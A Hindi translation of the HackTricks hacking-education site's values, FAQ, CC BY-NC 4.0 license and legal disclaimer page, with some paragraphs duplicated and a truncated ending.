पहला **HackTricks** **मूल्य** यह है कि **निःशुल्क** हैकिंग शैक्षिक संसाधनों को **सभी** दुनिया को प्रदान करना। HackTricks टीम ने इस सामग्री को प्रदान करने के लिए **हजारों घंटे समर्पित किए हैं**, फिर से, **निःशुल्क** के लिए।
यदि आप सोचते हैं कि HackTricks पुस्तकें **व्यावसायिक उद्देश्यों** के लिए बनाई गई हैं तो आप **पूरी तरह से गलत हैं**
हमारे पास प्रायोजक हैं क्योंकि, भले ही सारी सामग्री निःशुल्क है, हम समुदाय को हमारे काम की सराहना करने का विकल्प प्रदान करना चाहते हैं यदि वे चाहते हैं। इसलिए, हम लोगों को HackTricks को [**Github प्रायोजकों**](https://github.com/sponsors/carlospolop) के माध्यम से दान करने का विकल्प प्रदान करते हैं, और **प्रासंगिक साइबर सुरक्षा कंपनियों** को HackTricks को प्रायोजित करने और पुस्तक में कुछ विज्ञापन होने का विकल्प देते हैं, विज्ञापन हमेशा ऐसी जगहों पर रखे जाते हैं जहाँ वे **दिखाई देते हैं** लेकिन **सीखने की प्रक्रिया में व्यवधान नहीं डालते** अगर कोई सामग्री पर ध्यान केंद्रित करता है।
हमारे पास प्रायोजक हैं क्योंकि, भले ही सभी सामग्री निःशुल्क हो, हम समुदाय को हमारे काम की सराहना करने का अवसर देना चाहते हैं यदि वे चाहते हैं। इसलिए, हम लोगों को [**Github प्रायोजकों**](https://github.com/sponsors/carlospolop) के माध्यम से HackTricks को दान करने का विकल्प प्रदान करते हैं, और **प्रासंगिक साइबर सुरक्षा कंपनियों** को HackTricks का प्रायोजन करने और पुस्तक में कुछ विज्ञापन **विज्ञापन** होने के लिए, जहां विज्ञापन हमेशा ऐसी जगहों पर रखे जाते हैं जहां वे **दृश्यमान** होते हैं लेकिन **सीखने की प्रक्रिया में व्यवधान नहीं डालते** अगर कोई सामग्री पर ध्यान केंद्रित करता है।
आपको HackTricks में HackTricks की तुलना में कम सामग्री वाले अन्य ब्लॉगों की तरह कष्टप्रद विज्ञापनों से भरा नहीं मिलेगा, क्योंकि HackTricks व्यावसायिक उद्देश्यों के लिए नहीं बनाया गया है।
आपको HackTricks में अन्य ब्लॉगों की तरह परेशान करने वाले विज्ञापन नहीं मिलेंगे जिनमें HackTricks से कम सामग्री होती है, क्योंकि HackTricks व्यावसायिक उद्देश्यों के लिए नहीं बनाया गया है।
{% hint style="danger" %}
* **मुझे क्या करना चाहिए अगर कोई HackTricks पृष्ठ मेरे ब्लॉग पोस्ट पर आधारित है लेकिन उसका उल्लेख नहीं है?**
{% endhint %}
**हमें बहुत खेद है। ऐसा नहीं होना चाहिए था**। कृपया, हमें Github issues, Twitter, Discord... के माध्यम से सूचित करें, HackTricks पृष्ठ का लिंक जिसमें सामग्री है और आपके ब्लॉग का लिंक और **हम इसे जांचेंगे और जल्द से जल्द जोड़ देंगे**
**हमें बहुत खेद है। ऐसा नहीं होना चाहिए था**। कृपया, हमें Github मुद्दों, Twitter, Discord... के माध्यम से सूचित करें, HackTricks पृष्ठ का लिंक जिसमें सामग्री है और आपके ब्लॉग का लिंक और **हम इसे जांचेंगे और जल्द से जल्द जोड़ देंगे**
{% hint style="danger" %}
* **मुझे क्या करना चाहिए अगर HackTricks में मेरे ब्लॉग की सामग्री है और मैं नहीं चाहता कि वह वहा हो?**
* **मुझे क्या करना चाहिए अगर HackTricks में मेरे ब्लॉग की सामग्री है और मैं नहीं चाहता कि वह वहा हो?**
{% endhint %}
किसी भी मामले म
किसी भी मामले में जान लें कि इस मामले में HackTricks आपके **SEO** को बेहतर बना रहा होगा और लोगों को **आपके पृष्ठ की जांच करने के लिए प्रोत्साहित** कर रहा होगा। अगर आप फिर भी चाहते हैं कि आपके ब्लॉग की सामग्री को HackTricks से हटा दिया जाए तो हमें सूचित करें।
ध्यान दें कि इसे पूछने पर हम निश्चित रूप से **आपके ब्लॉग के हर लिंक को हटा देंगे**, लेकिन अगर वही तकनीक अन्य वेब पेजों में पाई जा सकती है तो हम सिर्फ सूचना के स्रोत और व्याख्या को बदल देंगे, इसलिए असली सामग्री शायद HackTricks से नहीं हटेगी (साइबर सुरक्षा में, आम तौर पर, हमेशा कई पोस्ट होते हैं जो एक ही तकनीक के बारे में बात करते हैं)।
## लाइसेंस
**कॉपीराइट © Carlos Polop 2023. जहां अन्यथा निर्दिष्ट नहीं है (पुस्तक में कॉपी की गई बाहरी जानकारी मूल लेखकों की है),** [**HACK TRICKS**](https://github.com/carlospolop/hacktricks) **पर Carlos Polop द्वारा लिखित पाठ को**[ **Attribution-NonCommercial 4.0 International (CC BY-NC 4.0)**](https://creativecommons.org/licenses/by-nc/4.0/)** के तहत लाइसेंस प्राप्त है।**\
**यदि आप इसे व्यावसायिक उद्देश्यों के लिए उपयोग करना चाहते हैं, मुझसे संपर्क करें।**
## **अस्वीकरण**
{% hint style="danger" %}
यह पुस्तक, 'HackTricks,' केवल शैक्षिक और सूचनात्मक उद्देश्यों के लिए है। इस पुस्तक में निहित सामग्री 'जैसी है' आधार पर प्रदान की जाती है, और लेखक और प्रकाशक किसी भी प्रकार की पूर्णता, सटीकता, विश्वसनीयता, उपयुक्तता, या इस पुस्तक में निहित जानकारी, उत्पादों, सेवाओं, या संबंधित ग्राफिक्स की उपलब्धता के बारे में कोई प्रतिनिधित्व या वारंटी नहीं देते हैं। इसलिए, ऐसी जानकारी पर आपका निर्भरता पूरी तरह से आपके अपने जोखिम पर है।
लेखक और प्रकाशक किसी भी घटना में किसी भी नुकसान या क्षति के लिए उत्तरदायी नहीं होंगे, जिसमें अप्रत्यक्ष या परिणामी नुकसान या क्षति, या इस पुस्तक के उपयोग से उत्पन्न होने वाली किसी भी नुकसान या क्षति शामिल है।
इसके अलावा, इस पुस्तक में वर्णित तकनीकें और युक्तियाँ केवल शैक्षिक और सूचनात्मक उद्देश्यों के लिए प्रदान की जाती हैं, और किसी भी अवैध या दुर्भावनापूर्ण गतिविधियों के लिए उपयोग नहीं की जानी चाहिए। लेखक और प्रकाशक किसी भी अवैध या अनैतिक गतिविधियों का समर्थन या समर्थन नहीं करते हैं, और इस पुस्तक में निहित जानकारी का कोई भी उपयोग उपयोगकर्ता के अपने जोखिम और विवेक पर है।
उपयोगकर्ता इस पुस्तक में निहित जानकारी के आधार पर की गई किसी भी कार्रवाई के लिए अकेले जिम्मेदार है, और यहाँ वर्णित किसी भी तकनीक या युक्तियों को लागू करने का प्रयास करते समय हमेशा पेशेवर सलाह और सहायता लेनी चाहिए।
इस पुस्तक का उपयोग करके, उपयोगकर्ता इस पुस्तक के उपयोग या इसमें निहित किसी भी जानकारी से उत्पन्न होने वाले किसी भी नुकसान, हानि, या क्षति के लिए लेखकों और प्रकाशकों को किसी भी और सभी दायित्व और जिम्मेदारी से मुक्त करने के लिए सहमत होता है।
{% endhint %}
<details>
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte